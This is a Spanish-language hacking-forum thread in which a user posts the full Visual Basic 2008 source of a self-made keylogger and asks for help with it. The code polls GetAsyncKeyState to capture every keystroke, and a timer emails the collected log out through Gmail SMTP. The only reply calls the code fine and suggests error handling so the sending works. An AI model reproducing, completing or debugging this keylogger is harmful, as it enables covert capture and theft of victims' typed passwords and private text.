comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] Ayuda con Vb2008

  • 1 Respuestas
  • 912 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado CRACKER

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Julio 15, 2013, 11:04:07 am »
Hola a todos, necesito vuestra ayudaporfavor. Llevo ya un par de dias intentandolo de todas las formas posibles y esque no hay manera! D:
Se trata de un keylogger hecho por mi en visual basic 2008. Cojer las pulsaciones y etc. lo hace perfecto, el problema esta en el ultimo paso, al enviar el email. El codigo es este:

Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0

            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("bytrolleromg@gmail.com", "mi contraseña ")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("bytrolleromg@gmail.com")
        mail.From = New MailAddress("bytrolleromg@gmail.com")
        mail.Subject = "Universal Keylogger"
        mail.Body = TextBox1.Text
        SmtpServer.Send(mail)
    End Sub
End Class

Ese es el code, pero a la hora de enviar el email me dice esto:
"No se controló SmtpException" "Error al enviar correo" y me marca en amarillo la parte "SmtpServer.Send(mail)"

porfavor alguna ayuda :S?

gracias de antemano!


PD: k tonto fui k sin kerer puse mi contraseña y uno me la cambio x) pero ya la he recuperado xD
« Última modificación: Agosto 30, 2014, 09:18:29 am por Expermicid »

Desconectado CodePunisher

  • *
  • Underc0der
  • Mensajes: 58
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Root Security
    • Email
  • Skype: code.punisher
« Respuesta #1 en: Julio 16, 2013, 12:27:04 pm »
Buenas:
Tu código esta Ok solo usa try & catch para sentencia de excepciones, también debes tener en cuenta si existe una conexión a Internet para enviar el e-mail.
Saludos

PD: Quita SmtpServer.EnableSsl = True por repetición de linea de código

« Última modificación: Julio 16, 2013, 12:45:18 pm por CodePunisher »

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 6200
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1529
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2123
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 2663
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Problem al instalar Windows "cualquier windows"

Iniciado por Made

Respuestas: 7
Vistas: 2882
Último mensaje Septiembre 03, 2012, 04:53:08 pm
por Made